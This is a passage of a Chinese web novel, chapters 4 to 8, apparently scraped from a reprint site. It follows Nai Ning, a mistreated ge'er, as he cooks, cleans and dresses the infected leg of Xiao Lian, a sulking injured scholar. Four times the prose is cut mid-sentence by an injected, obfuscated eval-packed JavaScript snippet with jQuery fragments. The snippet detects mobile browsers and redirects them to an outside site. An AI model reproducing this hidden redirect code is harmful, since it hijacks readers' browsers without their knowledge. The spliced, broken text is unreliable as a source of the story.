三更半夜敲锣打鼓喊人帮寻人,奈何他们平日人缘差,一听他们要寻奈宁,一个都不吱声,都恨不得奈宁早逃了好。就算死在深山,给豺狼虎豹叼了吃都好。 清晨鸡啼,奈宁就起床煮粥,等粥米开的空隙炒了碟青菜,一起端进去给萧大少爷。 萧大少爷早起了,呆呆坐在床边,蚊帐已打开,挂在床边钩上,看到奈宁进来,愣愣地看着他走近。 外头有动静时,萧练就醒了,还以为又有贼进门看他丑,不想外头又传来粥菜香味儿。 奈宁将桌子拖近床边,自己也坐在床边,一碗粥推到大少爷跟前,自己也扒拉着一碗。 “我今朝要进山一躺,晚些回来,到时烧水给你洗个澡。” 萧练下意识地去摸筷,昨晚吃得再多,毕竟是粥,早饿了,闻言,顿了顿,低头看看自己,多日没洗,自己都觉得自己脏。 大少爷的脾气来得就是快,刚还要摸筷子,这会整个人又缩回来床肚里。 奈宁满脸疑问,幸好他是善于反思的:“你是不想我进山?还是想早些洗澡?” 里面的人没有反应,似乎还嫌他聒噪,伸手去落蚊帐,奈宁眼疾手快挂了回去:“难道是因为我没亲你?” 大少爷满脸震惊,扭过头去,不去看这胆大妄为的哥儿,想想还是气,忍不住道:“这种话,你怎么说得出……” 柔软的唇瓣贴在他唇上,大少爷的话头嘎然而止。 奈宁歪了歪脑袋,看着被亲过的大少爷脸蛋微红,乖乖挪出来吃粥。 眨眨眼睛,万分得意,原来就是想要亲亲。 奈宁心情莫名好起来,笑道:“我今天不进山了,一会就烧水,我们都洗洗!” 小哥儿其貌不扬,笑起来格外好看。 萧练顿了顿,很快又低下头,耳尖悄悄红了。 奈宁烧着水,看着灶膛里跳跃的火光,眼睛亮亮的,他就不回去了。 那个家他也回不去了,昨日一夜没归,就是归了,也要被打,不知会不会直接连夜将他送去那个老鳏夫家。 以后都在这里过,直到生米煮成熟饭。 就算有朝一日被发现,应该也没关系,萧大少爷可是秀才,就算浸猪笼也只能浸他一个。 浸猪笼他也认了,能过一段自己想过的日子,总比天天被打骂饿肚子强。 奈宁捡了些柴进来,将火烧旺,就不需他一直看着火了,出去洗了水缸,一担一担地往缸里打满水,扫洒庭院,前面院子铺了青砖,但也有没铺到的地方杂草丛生,后院也有大片空地,同样是杂草丛生。 奈宁心里打着算盘,到晚上把自己留在外边的农具都拿过来,把杂草除了,开劈一片菜地,这么大的院子,别说种菜自己吃,都能卖些钱了。 也不知这家里有没有农具? 他各个房间看看,有些房间落了锁进不去,来到后院,旁边有间小屋,若是有农具,应是在这。 这屋子落了锁,奈宁摸出身上钥匙,果然跟灶房柜子的钥匙放一块了。 打开门,奈宁眼睛一亮,里头农具应有尽有,柴刀篓筐锄头镰刀扁担铲箕等等。 他想用的都有,他没用过的也有。 这些农具可贵,一个个看着比他寻常用的要好许多,到时给大少爷看病也能变卖一二。 扛着锄头柴刀镰刀出来时,奈宁心情更好了,又重新将门锁好。 回灶房一看,水热了,走到窗边,冲里头萧大少爷喊:“大少爷,热水烧好了。” 等他走进房去,大少爷坐在床上不起,想着大少爷腿脚不便,也不知伤得如何,能不能走路,能走便在澡室洗,不能就在房间擦洗。 奈宁道:“你脚伤得如何了,要不要我把水搬进来?” 要是旁人,萧大少爷早就发火了,但这个哥儿声音软软的,还说要把水搬进来。 萧练瞧了眼他的细胳膊细腿,嗤了声,下床时迟疑了下,脚踩在地,脸色一变,原本就不太好的神情越发阴郁。 奈宁忙将一旁?拐杖递过来,扶着他臂弯:“我来扶你。” 萧练猛地抽回手:“不必你管!” 莫名被吼,奈宁呆了一瞬,心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大夫说就算好了,将来也是跛脚。 跛脚?那算什么好!他宁愿去死,也不要跛脚。跛脚说明此生与科举无望,他寒窗十几载,逢考必中,信心满满去考乡试,却换来如此结局,叫他如何甘心。 爹娘死了,他前途也断了。被搬回家里养伤,一开始大家还来慰问两句,没两个日就原形毕露,借着抚养他的名义,开始争夺他的家产。 好笑,他虽未及冠,但也不是小孩,用谁来抚养他? 他受伤腿脚不便,饭菜却是远远的放在一边,清汤寡水,一日比一日敷衍。 从来没人烧热水给他擦洗,从一开始给他找过大夫,后头就没有再找了,任他的伤口流血发脓。 反而是这个不知道有何居心的小哥儿,比任何一个亲叔伯都用心。 他不是没有想过不让他们诡计得逞,但他以后会跛脚,这一个消息如滚滚天雷砸得他昏头转向。 就连他的未婚夫郎一家听到这个消息,也明里暗里提了几次退婚。 5. 第 5 章 奈宁撸起袖子,翻出皂叶,在井边给大少爷洗床单被褥,擦洗竹席,在墙角搭了个竹架来晾晒,日头好,不用傍晚就能干。 洗完后回灶房,给自己也提了桶热水来洗头洗澡,他没有衣裳在这里,只能就着洗剩的水,将衣服洗了,扭干水又穿回身上,大热天,冻得他一激灵,赶紧出来到日头下晒着。 风一吹,床单被褥漂扬。奈宁跑到床单里将自己遮住,还是将衣服脱了,护在身前晒一晒。 日光一晒热,风一吹又凉。屁股光溜溜的,奈宁脸蛋红红。 衣服稍微有些干就赶紧套上,心中庆幸,幸好大少爷腿脚不好,不能出来。 穿好衣服,奈宁进房去看看大少爷。 大少爷早擦洗完了,头发也洗了,披散着等晾干,换了身干净衣裳,宽袖长袍,看着还是那个风度翩翩的书生郎。 坐在椅子上,一缕光从窗边投射进来,打在他白净脸蛋上,睫毛长翘,眼睑低垂,微微拧眉,不知在想什么。 奈宁轻轻敲门,大少爷转过头来,神情变得阴郁。 奈宁心头那点好心情顿时也无了,怎么一看到他就这么不开心? 等他看到大少爷洗过的水,忍不住噗嗤一声笑出来,肉眼可见大少爷脸色更阴深了几分。 萧练麻木地坐在椅子,紧紧攥着拳头,那一刻只想一头撞死得了。 他原来就爱干净,有洁癖,日日躺在床上脏兮兮就想死,看到这洗出来的水就更想死了。 换出来的衣裳更加脏,他不知要丢去哪里,若是小哥儿胆敢碰他的衣服,那他现在就去死! 奈宁很快收回笑,刚要伸手去拿衣服,就感觉到两道咻咻的暗箭袭来。 抬头一看,大少爷脸若寒霜瞪着自己。 手收回来,寒芒弱了两分,手又伸过去,冷刃咻咻。 奈宁一时不知如何是好。 大少爷冷声道:“不用你管,帮我把火折子拿来!” 火折子被奈宁拿到灶房烧火去了。 大少爷这要烧衣服的小心思,他还能不知道么。 他又瞥了眼大少爷换下的衣服,脏是脏了些,面料还是好的,忍不住道:“还是别烧了,我不动你的衣服,先放桶里,待你好了,你自己再洗,如何?” 两人对峙良久,大少爷绷着一张脸,终于降贵纡尊点了点头。 奈宁出去寻了桶盖将桶盖上,桶推入床底,这下大少爷终于满意了。 奈宁莫名觉得这样子的大少爷挺可爱,其实,他又不会嫌弃他脏。 奈宁默默收拾其余桶与水,又将屋子里里外外擦洗干净,蜘蛛网都拿长棍清理了,连床也挪了出来,将床底打扫得干干净净。 风吹进来,整个房间又充满生机。 萧练坐在那里,被太阳晒得恍恍惚惚,他已经很久没见日头,感觉自己要发霉,日头大也不觉得热,只觉舒服。 大少爷这个房间,本就极好,前后两个窗都有阳光进,一朝晨一傍晚,通风又阴凉,再大的日头都不会觉得热。 奈宁清洗手脚,将晒干的竹席床单被褥抱回来,重新将床铺好,搭回蚊帐,看看时辰,又到吃晚食时。 扭头看着大少爷,满脸笑容道:“你要不要到灶房坐坐?” 有人陪总比一个人呆在房间强,萧练看着忙碌的小哥儿,不知不觉盯着看了一日,收到邀请,情不自禁点头。 等反应过来自己做了什么时,奈宁已经过来搀扶他了,单薄的身子很用劲地扛住他大半重量。 萧练抿了抿唇,没多说什么,尽量将重心压在拐杖上。 走到灶房,两人都松了一口气,奈宁抹了抹额角的汗,冲萧练开心地笑了笑。 萧练坐在椅子又在恍惚,不知想什么,他先是看着地面,然后又看着忙碌的小哥儿。 莫名在想,若小哥儿想要他家屋子,那就给他吧,也不知自己腿脚能不能好些,到县衙将房屋过给他,或卖了钱直接给他钱也行。 奈宁卷起袖子做饭,早晨清理院子时,摘了些田星草,清热解毒,切了用来炒粥吃。 萧练脚受伤还起脓肿,刚好。 小哥儿手脚麻利,做活也快,一边煮粥一边洗菜,田星草切得碎碎的,先用油盐炒了,再放粥进去炒。 其余菜跟昨日一样,炒竹笋跟炒蘑菇。 萧练还是第一次吃田星草炒粥,口感莫名不错。 看到大少爷乖乖吃饭,奈宁默默看了一眼他的腿,心想:要是有点肉就好了,早些将身体养好。 肚子吃得饱饱的,床单被褥都是干净,房间里一股阳光饱足的味道。 萧练抬手看看自己的手,宽大的衣袖滑下去,手臂衣袖都是干干净净的。 大少爷很久没有这么干净了,之前脏得自己都嫌弃自己,现在莫名觉得好舒服,腿脚似乎也没那么痛了。 刚吃饱,太阳也还没下山,奈宁又回了灶房,在柜子里翻找,看看都有些什么东西,最后被他找出了一坛酒。 刚好,也该是时候给大少爷看看腿伤了。 他抱着一坛子酒,开心地走进房里:“看看我找到了什么?” 大少爷被他的笑容吸引,一时没注意看他手中抱着的东西,等人坐到了跟前,要抱起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749382|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的腿卷起裤子时,脸色大变。 奈宁道:“我给你看看脚伤。” 大少爷平静无波的脸蛋瞬间裂开一道缝,像头暴躁的狮子:“别碰我的腿!” 奈宁被他凶狠吓到,整个人都呆了,瑟瑟缩缩手不知道往哪里摆。 萧练看着他氤氲着水雾的眼睛,今日不是很大胆的吗?还敢亲他,现在就被吓成这样了,哼! 奈宁小声劝道:“我就给你看看腿而已,你流血了,用酒消一下毒,重新包扎一下也好啊。” 萧练硬着脖子说:“不必!” 两人对峙良久,谁也不相让。 萧练没看奈宁,就低着眼眸,盯着自己的腿,谁也不许碰! 奈宁抿唇不再多说,抽了抽鼻子,抱着酒坛子出去了。 大少爷在后面又闷闷说了声:“谁也别想碰我的脚!” 声音低低的,听着反倒是他自己受了委屈一样。 奈宁嘴唇张了张,又合上,不想理他了。 次日天还没亮,萧练醒来,粥摆在桌边,小哥儿闷声不吭,头也不抬,就这么出门了。 从头到尾都没跟他说一句话,仿佛没他这个人。 萧练坐在床上莫名烦躁,粥也不想吃了。 院子里很安静,外面大门传来吱呀声,那小哥儿离开了。 萧练心头烦躁到极点,好想掀桌子。走就走,为什么还要给他做最后一碗粥,他很想吃吗! 从清晨到日中又到傍晚,小哥儿都没见回来。 别说粥,就连菜汤都被他喝光了,挣扎着拄拐出去洗了碗。 在院子里坐到太阳快落山,鸟要归巢,人差不多也该回来了。 然而始终不见人影。 他想继续坐一坐,屁股却如坐针毡,想出去寻人吧,那人家就是不想来了,怎么办? 继续在这里等吧,万一人真回来了,怎么办? 不管是哪一样,他都想死。 在他纠结之中,天渐渐黑透,他的心慢慢死了。 果然就是来这里逗他玩的,跟那些推开门进来看他笑话的顽童一样! 他心里头的阴郁戾气横生,好想破坏些什么。 就在他乱想的时候,吱呀一声,大门被推开了,吱呀一声,大门又被合上。 萧练先是怔了怔,看到一道单薄身影进来时,突然慌了。 猛的转身就要回屋,一脚踩空,啊一声,栽倒在地。 奈宁早出晚归,上山寻食,就是想躲过奈家人,不让人发现他来这里。 结果刚回来就听到扑通的一声,以及一声惨叫。 6. 第 6 章 屋子里一片漆黑,奈宁走快两步,在堂屋门口捞到摔倒的大少爷。 没有拐杖支撑,萧练站不起来,心急之余摸不到拐杖,满地爬着,想要爬回房去。 被奈宁摸到时,眼睛都气红了,吼道:“别碰我!” 奈宁也怒了:“你再这样凶我!” 大少爷终于安静下来,不说话了。奈宁摸了他的拐杖塞回他手里,半扛着将人扛回房里。 点了灯,大少爷坐在床上,背对着他。 奈宁将油灯照过去,看到了眼眶红红的大少爷,眼睫垂着,一片潮湿,估计都哭了。 奈宁心底一片柔软,还有些心痛。 昨晚的气早消了,看到大少爷可怜兮兮的样子,一时也不知说什么。 过了一会,奈宁放软了语气道:“你怎么出去了?” 没人回答。 奈宁坐在床边,轻轻地扯了扯大少爷宽大衣袖,柔声道:“你是在等我回来吗?” 萧练嘴硬道:“才不是!” 奈宁笑了笑,笑声清脆。 萧练偏过头来,看到笑靥如花的哥儿,又看了一眼。 奈宁轻声道:“饿了吧,我去给你做好吃的!” 萧练愣愣地“嗯”了声。 一个字,奈宁笑得越发开心了,呆呆的大少爷,喜欢人陪的大少爷,脾气大又拧巴,像只小猫。 “好,我这就去给你做饭!”说罢,他轻轻地又扯了扯萧练衣袖,起身端着油灯出门了。 萧练的目光顺着油灯出去,又落在被小哥儿扯过的衣袖一角。 在山上捡了些柴,放灶里烧水,小炉蒸上米饭,奈宁提刀在井边清理鱼。 今日上山收获颇丰,捡到了几枚鸟蛋,还捞到一条鱼,刚好给大少爷好好补一补。 他正清理得起劲,忽觉一道阴影遮挡视线,抬头,大少爷不知什么时候出来了。 皎皎月光下,银冠束发,半披肩,一身雪白衣裳,肌肤胜雪,眉目温柔多情,好看得不似人间。 可谓风度翩翩美男子,可惜拄了拐。 萧练被他看了一眼,偷偷将拐往身后收一收,左脚尽量用力踩在地上,伤口断裂处传来钻心的痛。 奈宁微微弯了弯嘴角,低头,将最后一点鱼内脏冲洗干净,这才提着鱼起身:“你怎么又出来了?” 萧练抿了抿唇,饱读诗书,翻遍脑海也找不出词儿来回答,嘴唇蠕动几下,结果小哥儿就从身边走过去了。 奈宁提着鱼、刀、砧板,笑盈盈道:“这条鱼我今日捕到的,刚好给你补补身子!” 萧练看着他单薄的身子,嘀咕道:“你才更需要补一些。” 刚好大少爷在,奈宁让他帮看火,自己好安心炒菜。 大少爷看个火,正襟危坐,神情严肃,好似要去赶考。 灶口低,他坐这么直根本看不到里面的火,时不时要歪头看看。 奈宁瞥一眼他,强忍着笑。 灶房安静,没有人说话。灶口火舌吞吐,油灯明灭,漫长时间一点点过去,两道菜摆上桌来,一道炒鱼一道炒青菜。 打开饭锅,里头还躺着五个小小鸟蛋。 奈宁将鸟蛋跟米饭一块舀到饭碗,大少爷吃三个,自己吃两个。 蛋壳沾着米粒,小哥儿剥壳前舌尖卷过米粒,一粒米也不浪费。 萧练看着他愣了愣。 感觉到视线,奈宁脸蛋微红,微微侧过身子,依然认真地舔食完最后一粒米,之前开心地剥开壳,小口小口地品尝鸟蛋,蛋白香又滑腻,蛋黄则口感细腻。 萧练看着小小的鸟蛋,迟疑良久,终于也探出舌尖,卷去米粒。 鱼肉很好吃,味道颇佳,大少爷将最后一点饭菜吃完。 奈宁夸了声:“好棒!” 大少爷嘴角弯了弯,忽然道:“我吃完了朝食。” “哦。”奈宁愣愣的,不知他为何忽然说这个,见大少爷认认真真看着自己,好似在期待什么,试探道:“好乖啊?” 大少爷嘴角弯起的弧度更大了些,扯了扯嘴角,让笑意没这么明显,眼皮轻轻一挑:“我还洗碗,你没发现么?” 奈宁忍不住笑出声来:“那真是太乖了!” “乖?”大少爷拧眉:“我可不是小孩子!” “嗯!”奈宁心里暗想,不是小孩,只是变脸比小孩还快。 余光瞥了眼大少爷的腿,奈宁迟疑了下,低声喃喃道:“若是能给我看看腿就更乖了。” 大少爷脸色瞬间垮下,拄着拐就要走。 奈宁心里一惊,顺手就拉住了他衣袖:“你不帮我洗碗了么?” 心里头砰砰砰的跳得很快,好不容易这么乖的大少爷,他不想就此放弃,怕拒绝又低低的说了声:“你今早吃完朝食,不是还洗碗了么?” 萧练回头看着瘦瘦小小的哥儿,小哥儿仰着头,捏着他衣袖的手一点一点往后退,最后只剩下小小一角捏在指腹。 心头莫名异样,抿了抿唇道了声好。 奈宁开怀笑起来,被他瞪了一眼,收回手去,撇了撇嘴。 大少爷洗的碗根本不干净,奈宁拿过来,耐心地教他洗。 之后又将水提进房里,自己也到澡室里洗去了。 洗完之后像昨日一般,晒了衣服挂着吹,希望它早些干,但白天不比黑夜,光着屁屁,凉凉的。 遮得了前面遮不了后面,羞得他不知如何是好。 这样吹也不是办法,衣服得早些干才是,他遮住身子,猫猫祟祟进了灶房。 铺了衣服在小凳子上,羞涩地坐了一小角,生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749383|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火赶紧烤衣服。 房间里面大少爷摸黑擦洗身子,人进澡房时还有光,人出来时没看到光,就听到琐琐碎碎的声音,一路摸着好像往灶房方向去了。 在房间里好久没等到人,他忍不住拄着拐杖出去看看。 灶房闪烁着火光,萧练松了口气,放慢了步伐。 光着身子的人好着急,时不时抬头看看门口,焦急地烤着衣服,得跟火靠近一些,又不能靠得太近,不然就烧了衣服。 他曾经走神,将衣服烤出个窟窿,原本衣服就少,原本就急着穿,还将衣服烤坏了。 哭都没地方哭。 所以他大多心思还是放在烤衣服上面。 等听到轻轻的笃笃笃拐杖声音时,吓了一跳,手一抖,烫到了手,衣服又焦了一角,顾不上许多,赶紧出声喊道:“你先别过来!” 脸蛋烧得通红,也不管衣服干没干,直接套到身上。 萧练刚要走到门口,听着他带着哭腔的紧张声音,顿了顿,拧眉道:“你怎么了?” “没事,你先别进来!”手忙脚乱,衣服穿反了,担心外头的人进来看到自己光溜溜的样子,奈宁羞耻欲死。 等萧练终于进来了,看到了小哥儿乖乖坐在那里烤火呢,低着头,他走进来了也不叫他。 以前还会去扶他呢,现在看都不看他一眼。 萧练在旁边落座,两人好久没有说话。 奈宁衣服还是湿的,就这么套在身上,特别是裤子,湿哒哒的还会滴水,缩在凳子上没敢说话,羞死了。 刚才被火舌舔到的手也好痛,他怎么这么倒霉? 手放在湿凉的衣服上蹭了蹭,还是痛,忍不住放到嘴边舔了舔,轻轻吹着。 萧练道:“手怎么了?” “没、没事!”奈宁赶紧将手放下了,双手放在膝盖上,看着乖乖的。 萧练抿了抿唇,这么乖巧的小哥儿,是怎么做到如此大胆,动不动就亲别人? 感受到男人的视线,奈宁越发不敢抬头,脸蛋红扑扑的,无法闪躲之时,低声说:“我烤、烤头发。” 说着不自然地勾了勾头发,长长的头发遮挡身子。 大少爷一直往下压的嘴角,往上弯了弯,又扯平,眉眼却还是微微弯着:“那我也烤烤,刚好洗了头。” 奈宁抬头看大少爷,长发披散,肉眼可见的潮湿,再看大少爷的脸蛋,火光之下,莹白如玉。 很俊,叫人不敢直视。 但他现在如坐针毡,没心情欣赏,一个劲的低着头,心想他什么时候走。 灶里很安静,只有跳跃的火光,奈宁半点都不自在,一直被大少爷盯着,终于受不住了,把凳子拖过去了些:“那个,我帮你看看腿上的伤吧?” 说着就抱起大少爷的腿。 7. 第 7 章 萧练一张俊脸霎时黑了,他刚在看奈宁的头发不像湿着,还纳闷,他到底在烤什么火?在外头吹头发,不比在这里烤火干得快? 然后小腿突然就被抱起来了。 他扯回脚时,牵动伤口,额角突突直跳,压着性子,吐出来的字冷如寒冰:“我跟你说过多少次,不、要、碰、我、的、腿!” 奈宁坐在小凳子上被他骂得缩了缩。 萧大少爷没管他,气得胸膛起伏,拄着拐杖一拐一拐的回房去了。 奈宁挠挠脸颊,好像有点过分了。 不过当务之急是赶紧将衣服烘干,否则要受寒的。 他将衣服脱下来,背后烧出了个洞,他憋憋嘴,眼眶也酸了,但没办法,只能再打个补丁了。 他摸了摸自己的裤子,这裤子已经越来越短了,经常被剪下来打补丁。 都怪萧大少爷,腿脚不好还乱出来蹦哒! 他不好过,也不能让大少爷好过。 烤干衣服,他又将那坛酒抱了进去。 萧练坐在床边,听到他渐近的脚步声,挪到床肚里,蚊帐也放下来,不去看他。 奈宁过来就将蚊帐又挂了回去,一屁股坐在床上,没有客套,直接威胁大少爷道:“你不给我看腿,我现在就把你衣服给洗了!” 萧练猛地扭过头来,瞪着他,奈宁寸步不让,回瞪回去,甚至伸手去床底拿桶。 大少爷扑过去,一手摁住他的手,咬牙切齿道:“不、可、以!” 目光严肃,宁死不屈,感觉下一瞬就能一头撞死在旁边墙上。 奈宁道:“如果我一定要呢!” 萧大少爷嘴角抿成直线:“除非我死!” “你死了我挑大白天当着全村人的面洗,还要告诉所有人,这是你萧大少爷的衣服!” 萧大少爷嘴巴张得大大的,一张俊脸青白交加,指着他手抖了半天,终于吐出两个字:“无耻!” 奈宁理直气壮道:“你再说我无耻,我就亲你!” 萧练嘴巴张合几下,终于被他找到了另外的词:“卑、鄙!” 柔软的唇落在他唇瓣上。 大少爷麻了。 奈宁抹了抹嘴角:“你明明知道骂我就会被亲,所以你就是想被我亲!” 萧练怒道:“我……” 话音没落,小哥儿仰起脸蛋又凑了过来。 这一次才看清楚,他都是开着眼睛的。 萧练愣了愣,不知道哪里不对,就是莫名觉得不对,在他愣怔间,小哥儿的唇又落在他嘴角,软软的有些凉。 没什么感觉,又很奇怪。 他想拿手来碰一碰又缩回,搞得好像自己在回味一样。 等他回过神来时,腿脚又被小哥儿抱住了。 他都麻木了,一双死鱼眼睛看过去,破罐子破摔道:“不怕恶心,你就看吧!” 说着他躺下了,拿被子盖住了自己的脸,但凡听到一句恶心,他就把自己闷死! 奈宁小心地给他褪去足衣,裤管卷上去,看到包扎着麻布的腿,就在小腿腹以下、脚踝上面一些的位置。 又有血与脓溢出。 奈宁小心拆开麻布,拆到最后一层,大少爷腿脚绷直,身子也抖了抖。 奈宁深深吸了一口气,尽量轻手轻脚,看到溃烂的伤口,捂住了嘴。 这得有多痛啊! 奈宁将他的腿放下,拿了把小刀,翻出干净麻布,小心地给他清理伤口。 他经常受伤,这种流血流脓的伤也是见怪不怪了,清理掉脓血就能好了。 干净的刀用火燎过,伤口又用酒清理完,奈宁松了一口气,大少爷虽然一声不吭,但一直在轻轻发抖。 全程太紧张,奈宁额角都渗出一层薄汗,低声安抚道:“伤口要处理一下才好得快,我以前伤口也流过脓,把脓清理了,再敷上草药就能好了。” 萧练没说话,一口咬住被单。 痛死了! 药草,奈宁上山就挖好了,清洗后用药臼捣成渣,给大少爷敷上。 “我以前受伤重时,遇到上山采药的郎中,就是跟我说要这样处理伤口的。” 敷完药,干净麻布包扎回去,裤脚放下,足衣穿回。 奈宁眼睛弯了弯,又是干干净净的大少爷。 大少爷不单脑袋盖上被子,还将脸偏过一旁,好久不愿意起来。 奈宁道了声:“好了。” 又等了好久,大少爷还是没回应,奈宁凑过去,试着伸手扯大少爷的被子,怎么都扯不动,也忒用劲了些。 奈宁拧了拧眉,大少爷是要将自己憋死么?他不同意! 他也用上劲,愣是要将被子从大少爷脑袋上扯开。 大少爷的遮羞布一点点被扯开,奈宁愣住了,忙松开手。 但迟了,他看到了泪眼婆娑的大少爷。 大少爷咬着被子,眼泪糊了一脸,狠狠地瞪着他! 被欺负得很惨了,里里外外的伤疤都被剖开,血淋淋的。 奈宁内疚得不知如何是好,耷拉着脑袋,对着手指,悄然从床上退去。 灯熄门关,房间重归安静。 方才被清理脓血时,伤口阵阵锐痛,无异于在伤口上又剜了一刀,继续撒盐。 不对,不是一刀,是很多刀! 简直比直接用伤腿走路还疼,萧练牙根都要咬碎了。 他一个千娇万宠的大少爷,头发根都没扯断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749384|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过。 不知痛得麻木了还是如何,敷了草药之后竟觉得真没那么疼了,含着泪,不知不觉入睡了。 清晨奈宁将朝食捧进来时,大少爷已经坐在床边了,看着自己的腿发呆,察觉到动静,看了奈宁一眼,很快偏过头。 像只骄傲的小白猫。 奈宁竭力抿着唇,不让自己笑出来,柔声哄道:“吃朝食了,大少爷。” 萧练听着软软的声音,看看眉眼弯弯的小哥儿,想发脾气又不好,憋屈地挪到床边,闷头吃饭。 今日的朝餐不是粥而是包子,奈宁翻箱倒柜,才发现萧家竟还存了面粉,再不吃就吃不了了。 赶紧拿出来搓了包子,做包子得等面发起,耗了不少时辰,这才晚了些给大少爷送餐。 也是一时冲动才做了包子,今日怕是不能上山了。 也好,他昨日也栽了不少蘑菇,挖了不少笋,今日正好在家里处理一二。 没有荤腥,就普通的素包子,有蘑菇馅的,还有野菜馅的,麦香浓郁也很好吃。 奈宁小口小口地吃着,很满足。面比米贵,这边鲜少能吃到包子,他每一口都很珍惜。 萧练看着他的样子呆了呆,不知不觉也吃得小口,似乎好像确实挺香的。 吃完了,奈宁收拾碗筷,刚要出去,扭头看到大少爷坐在床边发呆,笑道:“要不要出去晒晒太阳?” 萧练看了他一眼,垂下眼帘,嗯了声,声音暗哑。 后院有树,亭亭如盖,树影斑驳,萧练坐在椅子,呆呆看着阳光下忙碌的哥儿。 突然脸一红,脸蛋偏过一旁,小哥儿衣服后面破了个洞,白皙的肌肤若隐若现。 奈宁戴着斗笠在翻地,翻成一垄一垄的,之后在这里种上瓜果蔬菜,就算没有种水稻,至少菜是够吃了。 再捉些小鸡小鸭,养两头猪,就更好了。 米饭其实也吃不了多少,他跟大少爷两个,一日不过一斤来米。 一个月三十余斤,一斤米两到三文,自然也有更贵的,但他们只要饿不死就好,如此算来,一个月不过百文。 一月百文,一日便是三文,他是能赚到的。 大少爷祖宅在此,家底也不少,譬如现在大少爷就束银冠,穿的也是他以往没摸过的好衣裳。 等给他看病时,倒卖一二就能换钱治病。 如此想着,奈宁眼中充满希望,抹了抹汗,锄头挥舞得更快了些。 快到日中时,旁边传来一声:“好晒!” 奈宁吓了一跳,猛地扭过头来。 在树荫底下坐得好好的大少爷,不知什么时候站在了他旁边,拄着拐杖,额角渗出密密麻麻的汗珠,眉头紧锁,满脸写着不开心。 8. 第 8 章 奈宁好笑道:“晒你就去树荫底下坐着,来这里做什么,腿脚都不方便,还非要撑过来。” 大少爷莫名来了一句:“你不也晒了很久。” 奈宁嗯了声,一个干活,一个没事做在这里活受罪,这哪能相提并论。 随即发现大少爷的眼睛落在自己额角上,奈宁擦了擦汗,一手湿润。 忽然有一个念头攀上脑海。 大少爷不是看天气越来越热了,故意过来陪自己吧? 心头无端的被这个莫名的想法暖了一下,奈宁眨眨眼睛,冲大少爷弯了弯眉眼,感慨道:“不知不觉就快晌午了呢,我们去忙些别的吧。” 奈宁将昨日进山背的篓拿过来,里面山货全部清出来。 有蘑菇有竹笋,还有不少草药。 现在不能随时出去卖,就先将它们晒干。 蘑菇清洗了放在筛子上晒。 竹笋剥壳,这几天挖了不少竹笋,一个个都好大。 粗硬的外壳剥去,露出脆嫩的笋。萧练看着奈宁干活,莫名觉得赏心悦目,忍不住拿了一颗笋过来剥。 大少爷的手很漂亮,白皙修长,骨节分明,一看就是十指不沾阳春水。 奈宁不忍心破坏这么好一张手,想把竹笋拿回来:“我来就可以了,也不多。” 大少爷将手偏过一旁,瞪了他一眼。 剥过壳的竹笋煮熟,用水泡一个晚上,第二天切成条就可以晒笋干了。 剥竹笋挺快的,煮竹笋才要功夫。 灶里放了柴,大火烧。 奈宁想叫大少爷帮看火,但大少爷好像有一点,他去哪里他就去哪里的样子。 他看了看大少爷的腿脚,昨天不是痛得哭了么,怎么还如此能折腾? 一抬头发现大少爷咻咻咻地瞪着他,又在冲他放冷箭。 算了,到时麻烦点多跑两趟看火。 吃了两个包子,奈宁继续去松地,走了两步,回头,大少爷一拐一拐地跟在身后。 对上他视线,萧练一愣,脸侧过一旁,耳尖悄悄红了。 奈宁继续往前走,他迟疑了两步,还是要跟上。 野菜总归没有田里种的菜好吃,不然野菜就不是野菜了。 一垄地松好,奈宁开始发愁怎么找青菜种子。 乡下遍地可见青菜种子,随便问个人要就行。 可是他现在不敢随意出门,怕碰到人。 若是大少爷腿脚好了,能到镇上去买些瓜果种子多好。 当然他也就想想。 奈宁没发现,他看了大少爷一眼,大少爷就噌噌噌地过来,凑到他跟前,以为他要问话,结果他半天没再搭理人家,大少爷又拧紧眉头,不开心起来。 烈烈阳光之下,站了只阴森潮湿白鬼。 奈宁将锄头斗笠收回小屋子,好好将门锁上,冲大少爷招手道:“好了,我们回去做饭吃吧!” 煮熟的竹笋直接就炒了一盘来吃。 没有荤腥,奈宁做菜只能多放点油。油滋滋的也很好吃,至少大少爷没有挑食,吃得满足。 